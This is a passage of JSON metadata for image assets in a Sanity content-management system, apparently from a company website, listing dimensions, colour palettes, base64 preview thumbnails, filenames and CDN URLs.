FR.png","path":"images/sczeoy4w/production/e04768d8a2a1ae348c1b180cb8e2f81a5f03fec6-1200x628.png","sha1hash":"e04768d8a2a1ae348c1b180cb8e2f81a5f03fec6","size":489149,"uploadId":"l8Iet60OusEhKM0ZRJCRoK65H6FWYbvr","url":"https://cdn.sanity.io/images/sczeoy4w/production/e04768d8a2a1ae348c1b180cb8e2f81a5f03fec6-1200x628.png"} {"_createdAt":"2024-12-09T11:42:37Z","_id":"image-f008f4a634fb72afaff2288059a264e6f50d5446-1200x628-png","_rev":"CsJhS699U5wscrFy7L82cC","_type":"sanity.imageAsset","_updatedAt":"2024-12-09T11:42:37Z","assetId":"f008f4a634fb72afaff2288059a264e6f50d5446","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M26@~,%?vvQ*0t~TX=oHV;Eo0o+pkXXD#z","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACdklEQVR4nEWS6U4bVwBG/QqBiNae8TAz3Htnscceb8QrBuO4UVs1VVCaFGgaCZcqpDhxvG8YQ5bSH33lU+H86Ascfd/RiWxEf8FQvyMSbQx1Rly2sbwL7EQH2+9i+QPiTp+YGBKTUzR1RdxZYXpzbG+A6fTR5ZiYmBDdGROJWifsVt/T/H5G9XDEbm1IuTGj3lpRb91SaXwkkV+gqRExOUF3FojEmDBzRiHzM2HyKbZ6jSZ6aHJGZMv4lWTuDcW9DxSqH8iWeuQrI4r1OcX9JYXaag00/QmammF6Ex4Vzni6X+flQcBR2aOSLiP9M+LOgsim9gKZbJMuvCW92yF81CVXHpKvTslV5uQqS3LVG8LSDTvBEuH3OSz+yKtDxeWTbQZPNE5qit3sC8zELZFvto9J5S8oH/QpHwyoNMbsta7Wl2vNG/Zan6l/d0ep8Tde7hbhD8knf6DixnnsPuBl+JCfcops+hQruLt3eEqudMl+a0y9NaHanFJrLqg1r6kcrqg2P1E8+ES6eIMKV5j+Aku0icdKWJsmqajCtxpYziXb/pd7h8d44Z9kSx3C4jv8bAcZXCKS7xHJHjIYYifHGM4YXc0w3CU7wTUq2UWqU4R9wrb4C11N0Z0VkY1vn2NYx+w4r7HcNppoE7PP0cUFuuigyS6a7BEVQ6JiiuFd4xf+IV/7l0z5M25miQiWmP7VuoDI5tYzhHGE775CBecY6hzbe4uX6eGEA1R6vF6oO/fZTIm7S0TqC17uDifzETu4wkrMMbzZV+DG1jNM/Qglf8P22+jyDwznDTLoIlN9ZGqElfgfuA7bvSXurtDk9Gvw6/UjYmrOf0aQYRkwhm7GAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#44497c","foreground":"#fff","population":1.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041767","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bfc5e8","foreground":"#000","population":4.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a94c5","foreground":"#000","population":0.45,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bfc5e8","foreground":"#000","population":4.67,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#535d91","foreground":"#fff","population":0.51,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b77e35","foreground":"#fff","population":1.39,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Back Market - Tomer Levy - FR 2.png","path":"images/sczeoy4w/production/f008f4a634fb72afaff2288059a264e6f50d5446-1200x628.png","sha1hash":"f008f4a634fb72afaff2288059a264e6f50d5446","size":375398,"uploadId":"Gr5gtYECzfuwAhnbyQ0dhHLEsemK6qfZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/f008f4a634fb72afaff2288059a264e6f50d5446-1200x628.png"} {"_createdAt":"2024-11-19T13:54:12Z","_id":"image-7ec2a2cf87b57be7445c2d474bb767a85c46b2e0-1200x630-png","_rev":"T130WEs22RB6SoEkOCNVHq","_type":"sanity.imageAsset","_updatedAt":"2024-11-19T13:54:12Z","assetId":"7ec2a2cf87b57be7445c2d474bb767a85c46b2e0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDQS}I6ESj=^i^X79$]{O]S%M_xUflWEaf","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACYUlEQVR4nD2S2Y6jVhRF+f+vyUNLSbqSdD2UutrxgAeMMaMZLlww2NhmdtmrVaSVh6V99suSjrSVMH3gJz1+0hLIljDtiNJ2JEwborRGZB2e6NDsluW+wTy05ELSHxYM3oQ+XNNKjzqXKG7UoWox32cW/6ous9WBHzOLHzOT95nB20RjMrdRt0dW+5ql0bBzW2RyoRE2w2HKcJjRxzvazEdxwobvU4c//prz8qry7W3D13/mvHz77HN+f3nnz78XvM8jNKvG8jsiOVCUA7dzSSdthkAd6YWO4ok7a6NkokqmS4mqZSy0dMzl9vOWzFYpS/2CE7Rk2Y1rfqYqr9yqjup6oU0dBn82ohziJ7ozoOrtyMpo2ZjdiGZ1GG7P3mmwvJpEXrkKl8pdcvMNKhlSHWPq1KcLVvTu5D+h4d3Z7DvWRjemZvXodj/K3GhARCXHKOGSxlTugvPmjUxfcbVVGm9BJRxKEXDyHZQgBS9+4IoHnvgY8ZMHQfLgcwFJ/qDISqrIok0sqtAgt02Sg6RMBFUacE5zRFwRRBVKmD4JkztBMhDIgTC9I45PZA6yeJKenxR5RRXu6QOVOgsoTxdOZU95u3O6dIi0xwk77KBHCeOByC5wjRTdPGK451GeFL+Epyd5UVMFW+7WK32wHPd2KRtkcccTPTuvRXda9l6HEsUd0T7B3gSstwLNPOLHHUn+/CV8cMrOtO6Uh/6FD+Mrvb/iLI94Yct636DuatZmw9ZuUUL5QSgaAlFxiGt82SGOH/+/nBUDlzhiMF9B+42n/oXem3LJ8nGPn5LFrh6lG7PhJztoKC6XR7ExAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#494d56","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#814303","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9aa0c9","foreground":"#000","population":2.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9aa0c9","foreground":"#000","population":2.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcdc7c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7f82ba","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f99125","foreground":"#000","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"EverSQL Tools Meta SEO Images (1200x630).png","path":"images/sczeoy4w/production/7ec2a2cf87b57be7445c2d474bb767a85c46b2e0-1200x630.png","sha1hash":"7ec2a2cf87b57be7445c2d474bb767a85c46b2e0","size":188096,"uploadId":"ctWn2ZupjMwCmKWKbKNpv5rFJU0BkvrI","url":"https://cdn.sanity.io/images/sczeoy4w/production/7ec2a2cf87b57be7445c2d474bb767a85c46b2e0-1200x630.png"} {"_createdAt":"2024-12-10T14:44:13Z","_id":"image-00fe5c761d50823a62b9c3db5903befeaea33632-794x1123-png","_rev":"UPIPX87Xr8dUQrGWEOcPql","_type":"sanity.imageAsset","_updatedAt":"2024-12-10T14:44:13Z","assetId":"00fe5c761d50823a62b9c3db5903befeaea33632","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dDPj7Bxa?wtQEBVtNIbvxci_RgkqN3e.V=t7?EaeNft6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7070347284060552,"height":1123,"width":794},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAcCAYAAABh2p9gAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFf0lEQVR4nF2S229cVxWHz3/KGwKBIKgCJB6C+laJFoQKFLVF0AYKtAokTRwndnydGc/Fnotn5tzP2bdzmxnPeBw76euH9hk7inj4nXU5e3177bW34/oJrhvhTiOm1k5C3JHPdBLW8XQabnJuiBckuEGKZxUmtXVtzjL8TexMg2RTdDrBO+jhPzrAf/gS/8kR3nYTb7uBt9chHHoIYUhVVkvovFYqDVGq8MIUN0xx6h28GK9zTvDogPBvTwgfbBH8/RnBl1sEX20TPD0mHrgolWOKqlZWzMiKCp2XCJXhxxIvEjh3ZO/cJzgZ4h+f4VvbHGz8Rh+/e44/CQljSZTqWnFtFVGiCBOFH4lajh+l1ApT/CDZ2MjO6DYXpgRvfUEQbXQH8MM7PyWIJc7dz83C9FaCKJEkUpMIXc/JKq47ErXd5PVtXhPGoj6BY52gDt6VRCpDlucobVA6Q0jNcDzlsNnmpNsnEZKyKmtpUxAndjOJE70DiuyMaivQJmc2n1NUFdpk9PpDPvvia379wcd8/uU3+GHCcrVkvlhgsrLuOrbAOJX1Mf5ftqvZrOBiLgj8AZ/+9QHf++Ev+P69+3z1cAtpcpaXa6r5BSorSIQdg8JJUkkYp1iw1FmdtB0KIcjSLmryb/ae/pH33/8l9372Az7/y59xg5Dlas3FagM0eYWwcxYaJxV3QFUDrbXHT2MPef41/Re/4os//YQ//ObHPP3He3i9f7GYZ6wur1gsV1SzBVlR1jO3c3aEVCSpwPMj+qMJo7FLEMYkwSlJ7xOO/3OPT377I/756U8533kPNfiMTE7IiwKTF+hsc3GWI5XGkUqRCkEQRpxPXKauTxSFxF6LpP+A0eHv2X30Ic0n9/H2f07c+QgRNJHSztlgsgJlMixHaY2jlUKKzcykkCi7k5TI1EPFA2TUJR49Jjr5kLhxn6T9AcJ9jpIJWhvyvMDYLpXCWKD9KGlBEgsvipLF4qJ+MsZkKBEj3W3S3sck3d+RdD5CTh6hRYDR9q0WG6j1jcHJjEarDdDCq6ricr1muVzVQJEESP8ANXmImj5Gjb9B+y8xMiTPDFVZUpZl7ecWmGeazCgyrciN7TBjPquYVSVFbjBKkCmfXE3JlUduL8TGmaz/l0VWy3KKPMMpcuvcKlNoJRBpjBAJSqV1fCej7Snk29g2UrxTb8FOVRiqQlOVhjJX+O6U5kmbRqtFu9Oh3+8zGo04PTtjOBwwGPQ56XTqOI5Cyttay5iVGc68snPQVIU9dsr5cMDuy322d3bZ3dun0WzSbnc4ODzi8OiY5zu7/PfbLV7uH+BOx2RGUBaKWalZzGqgvZQYzx1zdtbj6PiYvf0DGq0mnW6b1kmL40ajBjdbTZ7v7LC1/Zzdl3s0mg16vS7j8QApQhZzg3Mx06SxT/ukxbPnL3j8ZIsnz55x3Dii0zlhb3+f7Rc7HB0d0Wo22Nvf4+DwoAZ/+3SLp1vb7B/s43vnXFjg5cJQmJjxqE+73aTVst0c0+2e0D/r0um0aNq406LXa9exXWdzjcZRvb4/6KJlwOVFhrO+MFzMJCr1Cf1zPHfIcNDjtNfm9LRNr3dSQ7qdJt1ui07Hwo5q6Pj8DN8bIYXHcia5WmY4r1aG9dKwmksuZoIqj5GJS+CN8N0B3nTAdHKGOznDm/Txpv06Dv0RuQ5YVGlde7XUXF9mONeXhjvd3Nr1QrLKIpapyzyZUiRjymhIHg0x6ZjS+KxmKa9WFrKpsY3drDOc1+sNyNrat1ppbrKI62jCKhozi0csgjMq/xQVDSiNy6ul5GatubnUb+teX2U4370yvLkyWFv7VmvNm6XkzSLlZp5yvUi4nkW8qiIuZzHri5TXa1XXvbnSb+u+u874H4SvrwiS4l0JAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b424c","foreground":"#fff","population":4.42,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#661e35","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3b424c","foreground":"#fff","population":4.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8d0b7","foreground":"#000","population":0.52,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d6c081","foreground":"#000","population":1.8,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8d8f93","foreground":"#fff","population":2.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c8456f","foreground":"#fff","population":0.81,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Data_v3-1.png","path":"images/sczeoy4w/production/00fe5c761d50823a62b9c3db5903befeaea33632-794x1123.png","sha1hash":"00fe5c761d50823a62b9c3db5903befeaea33632","size":232375,"uploadId":"B8jKWNS0PJsSCMdV3PtjzkrxyLOSJdt6","url":"https://cdn.sanity.io/images/sczeoy4w/production/00fe5c761d50823a62b9c3db5903befeaea33632-794x1123.png"} {"_createdAt":"2024-12-10T14:50:33Z","_id":"image-926d7e22d1351a361b649ac6fe472af886b5febd-397x562-png","_rev":"CsJhS699U5wscrFy7Wja0N","_type":"sanity.imageAsset","_updatedAt":"2024-12-10T14:50:33Z","assetId":"926d7e22d1351a361b649ac6fe472af886b5febd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dDPj7Axa?wtQEBV@NIbcxci_RgkqN3aeV=t7?EWBNft6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7064056939501779,"height":562,"width":397},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAcCAYAAABh2p9gAAAACXBIWXMAAAdiAAAHYgE4epnbAAAFbUlEQVR4nE2SWXMkRxWF65fyCEFAwBAO80CEw+aJIAwmMBAGG2OwAS+EwTOSRrNILan3Vi/qpfYlszJra3WrpdEsvH6OrJaseTh1bt6+58us7LIcL8Z2Ixw7xHYCnLmPPXWxFz62E2LbAfYiwLEDXC/G8RNc33i8dW8r24tw/QTL9uM65AwXuEeneP87wvvqCe6DY9z9Fu7DFu5hn2DiIhJFkmYkUiPSrFYiNWGc4gRJLcvs6Dghbn+K9+AY/5Md/E8e4P1zD/+zPfx/7+PvNokmDqnKUXlZS+cVWVGhspJEZniR2AJdQzbHn3l4vSlec4TbmdTyWiO81hhvMMNbBASRrE9TK7lRnBLEEi9M8EKB5QUJBmrc82M8f1u7ZuCm79/+/lpvC0ju1mauBoaCO90NmV1jkRIlKbFQJFIRJpIgigljUf+W3PTNjIH5ocQKIlMkGL+TRKYanecImSJTE5RMZgsazQ7t/pAoEeRFQVEWKJ0TxmYzgRVG28I0atX3JOuhanlOXpRIpegPJ3z4jy95+1fv89GnX+H4Iav1up5Ruvgua0V1IbaKtyc0nqqMZVWwqgSeO+Yvf/uU7/3wTb5/7y0+/3qv/nxWFxvK5ar+9w3HyIoTA0uIku1rGjfARCSouI+cf8HB7h9555c/597PfsBfP/4zjh+wvrhktd5QLFeorCCp71RimUcUG2B685FuryCOXJLpl4wf/YK//+kn/OHdH7P7rzdwTr/gfJmxuXzG+eqCojpHZdu7NlBLiBRzSscLGZ3Nmcxs/CAi8k6JBh/Q/O89PnjvR3z+0U+ZPXkDOfkQLRbkeYHOClKd128mpERKhSWFJEkEnh8ymzssHI8gCAidDtH4M86Of8/Tb35DZ+ct3MabRL33EF4bIUUNUjonTTVSStI0xTIPIUQNFcLskta7idgljSfIcEA0vU/YeZew9TZR99cI+xFSxKRKk2UFWmd1rgZqlZKa4wqBThVFUXK+WrNcLreDIkLa+ySn7xMPfkfc/y1i/g1KBCgDzHOyLEcphdYKK9MpSgpSKTDwsizZbC5Zr9d1IIl8hHuEnH+NXNxHzv9D6h2gZECeaaqypCwLMq1qWUWmyJTcSqcUeUZVlVRVQZ4pdCrQ0iOTC7LUvXGPXEuKTFMWWa1cKwzLKvJtYdwAVGruM0KIiFQm9fpWWhnJ7VoKMgPN77LGrarQVIViWWrKXOF7Lu1ul+Nmm26/z3g8Zjo9YzQaMZlMGI3H9PsDhsMRUehTForqJmtY1nllgGmtXAvm8ylPD4/Y3X/M04MGrXaHXq/H8ckJR8cnPHz0hPs7Dzk4bODY8zqzzSsMy1pV5jUjPHfOeDSk2WrSOD6m2W7RH/Todru02i06nTatTrsG7u0/5snBAe12m+HwlNnsDCkCVkuNtV4qksil2+uw//gx93d22dt/xEnzhH6/y2GjUfebzRNanRYHh4c0jo7q3oPdh+zs7XPQaOA6M1ZLhXW50uQ6YjYd0e226XTNaVr0+x3Goz79Xod2u1mvB4Nu7be9VuuEdqfJeDxACZ/NSmNdrTXrpUTGLp47rTU9O2Uw6HB62uF00KHfb9PrbWXqdvuEbrfFbDrEc6akiVszri401vVGc3Wh2JxLVlVClYfI2MZzJrj2GGcxwpmPsOdD7Pmo7hn33En9Pa7KpM4axvUmw3p+qbmTaSquVoKNDriIHZaRTRHPKYMzsuAMncwptcfFeVLP3mZva+vlleLFpcL4d9qkPM8CnvsLNv6cKpyy8oaU7ilpMKHSLtcXghevZbeusf5/rXn1TGH8Vq+uUl6uBS+XMS+WMdfnEc+XAc9Kn00V8myd8OIy5dVr2Vv/FiPlrGssa6XHAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b424c","foreground":"#fff","population":4.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#661d34","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3b424c","foreground":"#fff","population":4.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d9d1b7","foreground":"#000","population":0.56,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d88fa1","foreground":"#000","population":0.52,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8e9093","foreground":"#fff","population":2.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c9456e","foreground":"#fff","population":0.83,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Sifted Report.png","path":"images/sczeoy4w/production/926d7e22d1351a361b649ac6fe472af886b5febd-397x562.png","sha1hash":"926d7e22d1351a361b649ac6fe472af886b5febd","size":112163,"uploadId":"14teXctPGZ7IhU1TcsO9IyZvHVWGOEcW","url":"https://cdn.sanity.io/images/sczeoy4w/production/926d7e22d1351a361b649ac6fe472af886b5febd-397x562.png"} {"_createdAt":"2024-07-16T07:46:52Z","_id":"image-9655b1dfd555d91e34f57d73b938c1b834b751e5-1410x1533-png","_rev":"MDtZ947TmAvJhndHAOtEDX","_type":"sanity.imageAsset","_updatedAt":"2024-07-16T07:46:52Z","assetId":"9655b1dfd555d91e34f57d73b938c1b834b751e5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eOO3ws~W00%g4.~BMcx]XSRjvz-UIpOExaL~wdNaXSW=00Mxx]kCoz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9197651663405088,"height":1533,"width":1410},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAWCAYAAADAQbwGAAAACXBIWXMAACE4AAAhOAFFljFgAAAFhElEQVQ4jVWUW2wVRRjHVzRBQgKBxAgGNRCDRmJMMPoAPqgPGqON3ETQyNHKNagPPumDRIRqoNISxAuRSktrCGi8VdIWECW2WloELMJJL+e+O7M7e5+dmT3n7O6Mma2tcZMv3zezk9/8v0z+nzLxQ9tNtTcfmJ9sufMB3rhgBW9csJJvX7KCb1+8kr9y2wq+ZdHypOudR/hvJ56MB79fZmX/nD1RUmcW87lbi8XizHw+PzObzd4yMDBwU5IkilLOjswjJ5vWx60vtYsPGnpF0zO9Yt/qXrF/bS//4NmepGXjyaT7YBcfOPVDdGPgEPPsnYSyLZSQrZTSrYSQzRjj50zTXHzt2rUZClTL97C/+w/H/SdNfvZozM8ciZKzX8T8XFvMzx2NeP9JFmUHcC13hdaNMqoyOhGG4WgYhmNTmTH2s+/7jePj43MUhNCyELtdSeCw2EOCIVVQvSxqNhTctwQnrqCuJUyoCc+xhe95wrbtNFzXFRhjEQSB5fv+vkKhsFAxTfP+sFrtTDgn1VpdINPkAELu44DHCedcCI5xwDUAuGma3LIsrus6NwyDu66bUEoFY8wJgqC1VCotmgSGYWcSxzRkTABN46VikTuOI+I44jxJOKWU27Yt99KMEErBhBAex7GI49ihlLZMAxljnbVajQZBIORhXdfTdqrVqoiiSEgVci0vMU1TAACEPBMEAU+SRCRJ4jDGWovF4iQQY3zcdV0iD2malkAI07ZkixjjNGQt1bmuO62WEJLIC+M4thljLVPAZUEQdHmeFxqGISqVShpShVQjVUt1AMB07ft++hAyCCGiXq9LoMcYO5gCDcO4jxBypFqtapRS17YtGyHk+L5nh2Fo12o12/d92zAM23EcO8BYPkAalFL5342iKE8pbSoUCncoY2NjCzRN3YQQOmCa5scQwkO6bhz0ff8jxlgzpbTZ9bxmhFCz4zj7A4z3B57zUeDaB2RNKW0mhOx2HKdhdHR0rrKv+fNZW3bsfWhT4+4NLze+n8m8tmdT47YPX9q688D67W+0rtv2euu6rTtb1m3ecUDWq/c2tT9+8acfH7SH+pai/OhdumEsqpRKd4yPj88dHBy8Wfnks1PzN7y899WGte+eeHbNrp6GtbtOr3r+vdNrNuzpXrtxb7fMq194v3vV+t3d615s+vbtdz5rGfr6RCM93/WUPjL4qF4pLXdB+Xa/PD5D8EhRLg6NLDn1zS+Hjx3vs44e64nb2nvr7Z1no47jfVFHR0/U0dkXtXeeidrae6OOr87Vfj37h2kNnhkhA9+eUa8Nf1cp5j91YOVpQb1ZgnmKoqravQAYX1YqkJRKmtA0XVg6Es5EVjhXfxdOfkwYQBe5iaKYmCgKB6giyl2psqvnr4Ibl7vUYm6PA8qPJb51q6CuIl95qed5bbZtBwgZAjt2kmCbi9wwF0Pfc1H8i4cO4pVSgRfyuYQ4SCS+6YdGud0qjT9hqcXFFGnzYkefkbjGf0DTtAId6sJ3XV4nmIdaTgRjl0VVLwnmu1wHQGiqyikJRBJFTshYC0LoLuBRRQgxHXLaLCWEtHmeF8gJEoYhj6KI+57LTWTwAGNer9dSP085Y8pqAIC7p0DXr19XqvXoPyDGOJAuqFarvF6vp8aXNvMx5nKvVqulWTojiiJXAiGE08CLg38owtYmW3Zdp82yLPzvjEs81+UyIAS8XCqlPvY8j9u2lXiel44rSun/gP39/Ur6SdkIoXchBBd0CC8BoA0BTRuGEA7nchPD2RvXhyuVyjBCaBhCMGRZ5qUA4/O+77+lqurCKeCFCxcmgaOjo3NUVV0BAHgRQpgBAGwCAGQgABlVVTPlcjmtdV3P6BBKi2ZMhDZqmvZwNpudPQXs6elJgf8AlyaNJe9WP4oAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#30355d","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#54120c","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#30355d","foreground":"#fff","population":0.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2a8d1","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc6c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a87955","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f13404","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-platform-byoc-diagram.png","path":"images/sczeoy4w/production/9655b1dfd555d91e34f57d73b938c1b834b751e5-1410x1533.png","sha1hash":"9655b1dfd555d91e34f57d73b938c1b834b751e5","size":112142,"uploadId":"clR5okQYjrNiN9qoin9R535ZKYJ31lXF","url":"https://cdn.sanity.io/images/sczeoy4w/production/9655b1dfd555d91e34f57d73b938c1b834b751e5-1410x1533.png"} {"_createdAt":"2025-01-07T09:59:10Z","_id":"image-d0d7f4aab3611ec7ec31050730ee77fb4d9f46cb-960x540-jpg","_rev":"Qw0TwPQaQ8aBM3BSVDoA5Z","_type":"sanity.imageAsset","_updatedAt":"2025-01-07T09:59:10Z","assetId":"d0d7f4aab3611ec7ec31050730ee77fb4d9f46cb","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MGBU-M1vW*E,|;JMt9,vWTE+Fzw}$cWXJV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":540,"width":960},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGgAAAQUBAAAAAAAAAAAAAAAAAAIDBAUGB//EACEQAAIBBAICAwAAAAAAAAAAAAEDAgAEBRESEyFBFCIx/8QAFQEBAQAAAAAAAAAAAAAAAAAABgP/xAAgEQACAQQBBQAAAAAAAAAAAAABAgMABBEhBVFigZLh/9oADAMBAAIRAxEAPwDg4vUyRBRslkgaMh+mpl9hnKt7dvx4rg77Aie/FIs1QCky4jkQdmr985Nx6ewmXGOo79UmSCSUqyEBRnPXxUQ0aqwcHOsfaYYrArEI9DTIRHIge6K2uPw2Pdj7VjLVcpyWCSd+aKEPy9kjFSZNdwpUtlcMAQI/Wv/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34274d","foreground":"#fff","population":0.69,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":44.75,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":44.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9699b9","foreground":"#000","population":0.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0872b","foreground":"#000","population":0.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b05850","foreground":"#fff","population":0.32,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f25108","foreground":"#fff","population":8.2,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"M\u0026E Solutions Page.jpg","path":"images/sczeoy4w/production/d0d7f4aab3611ec7ec31050730ee77fb4d9f46cb-960x540.jpg","sha1hash":"d0d7f4aab3611ec7ec31050730ee77fb4d9f46cb","size":31088,"uploadId":"lhTTbNARQG72PyDyvL23nzI2AAx9gjUi","url":"https://cdn.sanity.io/images/sczeoy4w/production/d0d7f4aab3611ec7ec31050730ee77fb4d9f46cb-960x540.jpg"} {"_createdAt":"2024-12-10T16:35:37Z","_id":"image-15f0456c5c7eca3093c9a9dda674df2e214e81d3-1200x630-png","_rev":"lbpMA3MBWy0eIji4xkNSAQ","_type":"sanity.imageAsset","_updatedAt":"2024-12-10T16:35:37Z","assetId":"15f0456c5c7eca3093c9a9dda674df2e214e81d3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M384v8~F8^MwDikaInk8WYRo009F?a%N$~","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACt0lEQVR4nEWSa1MaBxSG9xckbYXd5bqwFxC5KNGxGppIDAqCUEAFdWxzaUzGGLCi4aIihBoTSVHITDrT/tmn4zaZfnjmnA9n3nnOzCvcEde5K23wva3MmGMbi+tXRPdviMpLROU1svcAm1bDrtdxGKc4/ecm5u675QyH0cSmHyNrRwh3pXUszi3s3h0c2lPcvl0U/x52bc8MtCoVRO8hknqMTWthN9omstZEVhvYtBNs+gmy1jBvhO/kDWTPDp7xZ6gTu/gi+/inqqjBKi5fFWX8CE+gjjLRwhtso4beoYa6qKEzEz3SQ598jzLRxeFrI4w5NjHCu8zEDog9bhBPnhFPdfhpqcP8YpeHy5c8TF4RS1yxkLpmYWVkzsXMgKXckFThbxLZf5h+MEQN9xFE9zbh2X3iySbpwjtyGx/Il68obA3IbgzIlYbkyp9JZG+Ip294lBkST31iMd1nKXtNMv+FRPYvZh6M0CMDBMm9TXSuYgYur7bJFC8obPYpbl+TK90yJFv6TGy5T2Cmhy/aQQ810YJv0ULN/14Pn+MJ9lACH24Nt5i+f0Ay2yad77JavCBf7pMr/Wka/lwakVkbsbDyibnFPrMLH5ma6xKcPsU93kDWWiY2swE9BNG1SfTHN2TyHfLlSzKFC5azf7CUvSSV75MuDkis9nm08pF